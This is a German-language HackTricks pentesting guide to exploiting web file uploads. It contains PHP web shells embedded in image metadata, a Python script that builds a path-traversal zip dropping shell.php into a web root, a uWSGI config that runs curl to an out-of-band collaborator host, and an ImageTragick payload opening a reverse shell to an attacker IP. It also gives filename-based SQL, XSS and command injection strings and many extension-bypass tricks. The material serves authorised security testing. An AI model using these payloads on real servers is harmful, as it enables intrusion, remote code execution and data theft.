.. | ||
pdf-upload-xxe-and-cors-bypass.md | ||
README.md |
Datei-Upload
Lernen Sie das Hacken von AWS von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegramm-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
Bug-Bounty-Tipp: Melden Sie sich an für Intigriti, eine Premium-Bug-Bounty-Plattform, die von Hackern für Hacker entwickelt wurde! Treten Sie uns noch heute unter https://go.intigriti.com/hacktricks bei und verdienen Sie Prämien von bis zu 100.000 $!
{% embed url="https://go.intigriti.com/hacktricks" %}
Allgemeine Methodik für den Datei-Upload
Andere nützliche Erweiterungen:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Arbeiten in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Umgehung der Überprüfung von Dateierweiterungen
- Wenn sie vorhanden sind, überprüfen Sie die vorherigen Erweiterungen. Testen Sie sie auch mit einigen Großbuchstaben: pHp, .pHP5, .PhAr ...
- Überprüfen Sie, ob Sie eine gültige Erweiterung vor der Ausführungserweiterung hinzufügen können (verwenden Sie auch die vorherigen Erweiterungen):
- file.png.php
- file.png.Php5
- Versuchen Sie, Sonderzeichen am Ende hinzuzufügen. Sie können Burp verwenden, um alle ASCII- und Unicode-Zeichen bruteforce zu testen. (Beachten Sie, dass Sie auch die zuvor genannten Erweiterungen verwenden können)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- Versuchen Sie, die Schutzmechanismen zu umgehen, indem Sie den Erweiterungsparser auf der Serverseite mit Techniken wie dem Verdoppeln der Erweiterung oder dem Hinzufügen von Junk-Daten (Null-Bytes) zwischen den Erweiterungen austricksen. Sie können auch die vorherigen Erweiterungen verwenden, um eine bessere Nutzlast vorzubereiten.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Fügen Sie der vorherigen Überprüfung eine weitere Schicht von Erweiterungen hinzu:
- file.png.jpg.php
- file.php%00.png%00.jpg
- Versuchen Sie, die Ausführungserweiterung vor der gültigen Erweiterung zu platzieren und hoffen Sie, dass der Server falsch konfiguriert ist. (nützlich, um Apache-Fehlkonfigurationen auszunutzen, bei denen alles mit der Erweiterung .php, aber nicht unbedingt mit .php endend, Code ausführt):
- z. B. file.php.png
- Verwenden Sie NTFS-Alternative Data Streams (ADS) in Windows. In diesem Fall wird ein Doppelpunkt ":" nach einer verbotenen Erweiterung und vor einer erlaubten Erweiterung eingefügt. Dadurch wird eine leere Datei mit der verbotenen Erweiterung auf dem Server erstellt (z. B. "file.asax:.jpg"). Diese Datei kann später mit anderen Techniken bearbeitet werden, z. B. durch Verwendung ihres Kurzdateinamens. Das Muster "::$data" kann auch verwendet werden, um nicht leere Dateien zu erstellen. Daher kann es nützlich sein, nach diesem Muster einen Punkt einzufügen, um weitere Einschränkungen zu umgehen (z. B. "file.asp::$data.")
- Versuchen Sie, die Dateinamenbeschränkungen zu umgehen. Die gültige Erweiterung wird abgeschnitten und das bösartige PHP bleibt übrig. AAA<--SNIP-->AAA.php
# Linux maximal 255 Bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # hier 4 abziehen und .png hinzufügen
# Laden Sie die Datei hoch und überprüfen Sie die Antwort, wie viele Zeichen erlaubt sind. Nehmen wir an, es sind 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Erstellen Sie die Nutzlast
AAA<--SNIP 232 A-->AAA.php.png
Umgehung von Content-Type, Magic Number, Komprimierung und Größenänderung
- Umgehen Sie Content-Type-Überprüfungen, indem Sie den Wert des Content-Type-Headers auf image/png, text/plain oder application/octet-stream setzen.
- Content-Type-Wortliste: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
- Umgehen Sie die Überprüfung der Magic Number, indem Sie am Anfang der Datei die Bytes eines echten Bildes hinzufügen (um den Befehl file zu verwirren). Oder fügen Sie die Shell in die Metadaten ein:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
oder Sie können den Payload auch direkt in ein Bild einfügen:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- Wenn Ihrem Bild eine Komprimierung hinzugefügt wird, z.B. durch Verwendung einiger standardmäßiger PHP-Bibliotheken wie PHP-GD, sind die zuvor genannten Techniken nicht nützlich. Sie können jedoch die PLTE-Chunk-Technik hier definiert verwenden, um einen Text einzufügen, der die Komprimierung überlebt.
- Github mit dem Code
- Die Webseite kann auch eine Größenänderung des Bildes vornehmen, z.B. mit den PHP-GD-Funktionen
imagecopyresized
oderimagecopyresampled
. Sie können jedoch die IDAT-Chunk-Technik hier definiert verwenden, um einen Text einzufügen, der die Komprimierung überlebt. - Github mit dem Code
- Eine weitere Technik, um einen Payload zu erstellen, der eine Größenänderung des Bildes überlebt, ist die Verwendung der PHP-GD-Funktion
thumbnailImage
. Sie können jedoch die tEXt-Chunk-Technik hier definiert verwenden, um einen Text einzufügen, der die Komprimierung überlebt. - Github mit dem Code
Weitere Tricks zur Überprüfung
- Finden Sie eine Schwachstelle, um die bereits hochgeladene Datei umzubenennen (um die Erweiterung zu ändern).
- Finden Sie eine Schwachstelle für Local File Inclusion, um die Hintertür auszuführen.
- Mögliche Offenlegung von Informationen:
- Mehrmals (und gleichzeitig) dieselbe Datei mit demselben Namen hochladen.
- Eine Datei mit dem Namen einer bereits vorhandenen Datei oder eines Ordners hochladen.
- Eine Datei mit „.“, „..“ oder „…“ als Namen hochladen. Zum Beispiel erstellt der Dateiname „.“ in Apache unter Windows eine Datei namens „uploads“ im Verzeichnis „/www/“, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis „/www/uploads/“ speichert.
- Eine Datei hochladen, die möglicherweise nicht leicht gelöscht werden kann, z.B. „…:.jpg“ in NTFS (Windows).
- Eine Datei in Windows mit ungültigen Zeichen wie
|<>*?”
im Namen hochladen (Windows). - Eine Datei in Windows mit reservierten (verbotenen) Namen wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 hochladen.
- Versuchen Sie auch, eine ausführbare Datei (.exe) oder eine .html-Datei (weniger verdächtig) hochzuladen, die Code ausführt, wenn sie versehentlich vom Opfer geöffnet wird.
Tricks mit speziellen Erweiterungen
Wenn Sie Dateien auf einen PHP-Server hochladen möchten, schauen Sie sich den Trick mit der .htaccess an, um Code auszuführen.
Wenn Sie Dateien auf einen ASP-Server hochladen möchten, schauen Sie sich den Trick mit der .config an, um Code auszuführen.
Die .phar
-Dateien sind wie die .jar
-Dateien für Java, aber für PHP, und können wie eine PHP-Datei verwendet werden (durch Ausführen mit PHP oder Einbinden in ein Skript...).
Die .inc
-Erweiterung wird manchmal für PHP-Dateien verwendet, die nur zum Importieren von Dateien verwendet werden. Daher könnte jemand diese Erweiterung irgendwann erlaubt haben, ausgeführt zu werden.
Jetty RCE
Wenn Sie eine XML-Datei in einen Jetty-Server hochladen können, können Sie RCE erhalten, da neue *.xml- und *.war-Dateien automatisch verarbeitet werden. Laden Sie also die XML-Datei in $JETTY_BASE/webapps/
hoch und erwarten Sie die Shell!
uWSGI RCE
Für eine detaillierte Untersuchung dieser Schwachstelle lesen Sie die Originalforschung: uWSGI RCE Exploitation.
Remote Command Execution (RCE)-Schwachstellen können in uWSGI-Servern ausgenutzt werden, wenn man die Fähigkeit hat, die .ini
-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien verwenden eine spezifische Syntax, um "magische" Variablen, Platzhalter und Operatoren einzubeziehen. Insbesondere der '@'-Operator, der als @(Dateiname)
verwendet wird, ist dazu gedacht, den Inhalt einer Datei einzuschließen. Unter den verschiedenen in uWSGI unterstützten Schemata ist das "exec"-Schema besonders mächtig und ermöglicht das Lesen von Daten aus der Standardausgabe eines Prozesses. Diese Funktion kann für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read manipuliert werden, wenn eine .ini
-Konfigurationsdatei verarbeitet wird.
Betrachten Sie das folgende Beispiel einer schädlichen uwsgi.ini
-Datei, die verschiedene Schemata zeigt:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
Die Ausführung der Payload erfolgt während des Parsens der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst wird, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Absturz oder aufgrund eines Denial-of-Service-Angriffs) oder die Datei muss auf automatisches Neuladen eingestellt sein. Die Funktion zum automatischen Neuladen lädt die Datei in festgelegten Intervallen neu, wenn Änderungen erkannt werden.
Es ist wichtig, die nachlässige Natur des Parsens der uWSGI-Konfigurationsdatei zu verstehen. Insbesondere kann die besprochene Payload in eine Binärdatei (wie ein Bild oder PDF) eingefügt werden, was den Umfang potenzieller Ausnutzung weiter erhöht.
wget Datei-Upload/SSRF-Trick
In einigen Fällen kann es vorkommen, dass ein Server wget
verwendet, um Dateien herunterzuladen, und Sie die URL angeben können. In diesen Fällen überprüft der Code möglicherweise, ob die Erweiterung der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. Diese Überprüfung kann jedoch umgangen werden.
Die maximale Länge eines Dateinamens in Linux beträgt 255 Zeichen, jedoch kürzt wget die Dateinamen auf 236 Zeichen ab. Sie können eine Datei mit dem Namen "A"*232+".php"+".gif" herunterladen. Dieser Dateiname wird die Überprüfung umgehen (da in diesem Beispiel ".gif" eine gültige Erweiterung ist), aber wget
wird die Datei in "A"*232+".php" umbenennen.
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Bitte beachten Sie, dass eine andere Option, die Sie möglicherweise in Betracht ziehen, um diese Überprüfung zu umgehen, darin besteht, den HTTP-Server auf eine andere Datei umzuleiten, sodass die ursprüngliche URL die Überprüfung umgeht und wget dann die umgeleitete Datei mit dem neuen Namen herunterlädt. Dies funktioniert jedoch nicht, es sei denn, wget wird mit dem Parameter --trust-server-names
verwendet, da wget die umgeleitete Seite mit dem Namen der in der ursprünglichen URL angegebenen Datei herunterlädt.
Tools
- Upload Bypass ist ein leistungsstarkes Tool, das Pentestern und Bug Bounty-Huntern dabei hilft, Datei-Upload-Mechanismen zu testen. Es nutzt verschiedene Bug-Bounty-Techniken, um den Prozess der Identifizierung und Ausnutzung von Schwachstellen zu vereinfachen und eine gründliche Bewertung von Webanwendungen sicherzustellen.
Vom Datei-Upload zu anderen Schwachstellen
- Setzen Sie den Dateinamen auf
../../../tmp/lol.png
und versuchen Sie, eine Pfadtraversierung zu erreichen. - Setzen Sie den Dateinamen auf
sleep(10)-- -.jpg
und Sie könnten eine SQL-Injection erreichen. - Setzen Sie den Dateinamen auf
<svg onload=alert(document.domain)>
, um XSS zu erreichen. - Setzen Sie den Dateinamen auf
; sleep 10;
, um einige Befehlsinjektionen zu testen (weitere Befehlsinjektionstricks hier). - XSS in Bild (svg) Datei-Upload
- JS Datei Upload + XSS = Service Workers Ausnutzung
- XXE in svg upload
- Open Redirect durch Hochladen einer svg-Datei
- Versuchen Sie verschiedene svg-Payloads von https://github.com/allanlw/svg-cheatsheet****
- Berühmte ImageTrick-Schwachstelle
- Wenn Sie den Webserver dazu bringen können, ein Bild von einer URL abzurufen, könnten Sie versuchen, eine SSRF auszunutzen. Wenn dieses Bild auf einer öffentlichen Website gespeichert wird, könnten Sie auch eine URL von https://iplogger.org/invisible/ angeben und Informationen von jedem Besucher stehlen.
- XXE und CORS-Bypass mit PDF-Adobe-Upload
- Speziell erstellte PDFs für XSS: Die folgende Seite zeigt, wie man PDF-Daten injiziert, um JS-Ausführung zu erhalten. Wenn Sie PDFs hochladen können, könnten Sie ein PDF vorbereiten, das beliebigen JS gemäß den angegebenen Anweisungen ausführt.
- Laden Sie den Inhalt von [eicar](https://secure.eicar.org/eicar.com.txt) hoch, um zu überprüfen, ob der Server ein Antivirenprogramm hat.
- Überprüfen Sie, ob es eine Größenbeschränkung für das Hochladen von Dateien gibt.
Hier ist eine Top-10-Liste von Dingen, die Sie durch das Hochladen erreichen können (von hier):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV-Injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML-Injektion / XSS / Open Redirect
- PNG / JPEG: Pixel Flood-Angriff (DoS)
- ZIP: RCE über LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Burp-Erweiterung
{% embed url="https://github.com/portswigger/upload-scanner" %}
Magische Header-Bytes
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
- JPG:
"\xff\xd8\xff"
Weitere Dateitypen finden Sie unter https://en.wikipedia.org/wiki/List_of_file_signatures.
Automatische Dekomprimierung von Zip-/Tar-Dateien beim Hochladen
Wenn Sie eine ZIP-Datei hochladen können, die auf dem Server dekomprimiert wird, können Sie zwei Dinge tun:
Symlink
Laden Sie einen Link hoch, der symbolische Links zu anderen Dateien enthält. Wenn Sie dann auf die dekomprimierten Dateien zugreifen, greifen Sie auf die verlinkten Dateien zu:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Entpacken in verschiedenen Ordnern
Die unerwartete Erstellung von Dateien in Verzeichnissen während des Entpackens ist ein erhebliches Problem. Trotz anfänglicher Annahmen, dass diese Konfiguration vor der Ausführung von Befehlen auf Betriebssystemebene durch bösartige Dateiuploads schützen könnte, können die hierarchische Komprimierung und die Verzeichnis-Traversierungsfähigkeiten des ZIP-Archivformats ausgenutzt werden. Dadurch können Angreifer Beschränkungen umgehen und sichere Upload-Verzeichnisse durch Manipulation der Entpackfunktionalität der angegriffenen Anwendung verlassen.
Ein automatisierter Exploit zum Erstellen solcher Dateien ist auf evilarc auf GitHub verfügbar. Das Dienstprogramm kann wie folgt verwendet werden:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Zusätzlich ist der symlink Trick mit evilarc eine Option. Wenn das Ziel darin besteht, eine Datei wie /flag.txt
anzugreifen, sollte ein Symlink zu dieser Datei in Ihrem System erstellt werden. Dadurch wird sichergestellt, dass evilarc während seines Betriebs keine Fehlermeldungen erhält.
Nachfolgend finden Sie ein Beispiel für Python-Code, der verwendet wird, um eine bösartige Zip-Datei zu erstellen:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Ausnutzung der Komprimierung für das File-Spraying
Weitere Details finden Sie im Originalbeitrag unter: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Erstellen einer PHP-Shell:
PHP-Code wird geschrieben, um über die
$_REQUEST
-Variable übergebene Befehle auszuführen.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File-Spraying und Erstellung komprimierter Dateien: Es werden mehrere Dateien erstellt und ein Zip-Archiv wird erstellt, das diese Dateien enthält.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Änderung mit einem Hex-Editor oder vi: Die Namen der Dateien innerhalb des Zip-Archivs werden mit vi oder einem Hex-Editor geändert, indem "xxA" in "../" geändert wird, um Verzeichnisse zu durchqueren.
:set modifiable
:%s/xxA/..\//g
:x!
ImageTragic
Laden Sie diesen Inhalt mit einer Bildendung hoch, um die Schwachstelle auszunutzen (ImageMagick, 7.0.1-1) (vom Exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Einbetten einer PHP-Shell in PNG
Das Einbetten einer PHP-Shell im IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen imagecopyresized
und imagecopyresampled
von PHP-GD sind in diesem Zusammenhang besonders relevant, da sie häufig zum Ändern der Größe und zum Neuberechnen von Bildern verwendet werden. Die Fähigkeit der eingebetteten PHP-Shell, von diesen Operationen unbeeinflusst zu bleiben, ist in bestimmten Anwendungsfällen ein erheblicher Vorteil.
Eine detaillierte Erkundung dieser Technik, einschließlich ihrer Methodik und potenziellen Anwendungen, wird in dem folgenden Artikel bereitgestellt: "Encoding Web Shells in PNG IDAT chunks". Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Auswirkungen.
Weitere Informationen unter: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Polyglot-Dateien
Polyglot-Dateien sind ein einzigartiges Werkzeug in der Cybersicherheit und fungieren als Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig existieren können. Ein faszinierendes Beispiel ist ein GIFAR, eine Hybriddatei, die sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien sind nicht auf diese Kombination beschränkt; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.
Der Kernnutzen von Polyglot-Dateien liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien basierend auf ihrem Typ überprüfen. Eine gängige Praxis in verschiedenen Anwendungen besteht darin, nur bestimmte Dateitypen für den Upload zuzulassen - wie JPEG, GIF oder DOC -, um das Risiko potenziell schädlicher Formate (z. B. JS, PHP oder Phar-Dateien) zu verringern. Eine Polyglot-Datei kann jedoch durch Erfüllung der strukturellen Kriterien mehrerer Dateitypen diese Beschränkungen heimlich umgehen.
Trotz ihrer Anpassungsfähigkeit stoßen Polyglot-Dateien auf Grenzen. Zum Beispiel kann eine Polyglot-Datei gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG verkörpern, aber der Erfolg ihres Uploads kann von den Dateierweiterungsrichtlinien der Plattform abhängen. Wenn das System strenge Anforderungen an zulässige Erweiterungen stellt, reicht die bloße strukturelle Dualität einer Polyglot-Datei möglicherweise nicht aus, um ihren Upload zu gewährleisten.
Weitere Informationen unter: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Referenzen
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Bug-Bounty-Tipp: Melden Sie sich an bei Intigriti, einer Premium-Bug-Bounty-Plattform, die von Hackern für Hacker entwickelt wurde! Treten Sie noch heute https://go.intigriti.com/hacktricks bei und verdienen Sie Prämien von bis zu 100.000 $!
{% embed url="https://go.intigriti.com/hacktricks" %}
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Weitere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegramm-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.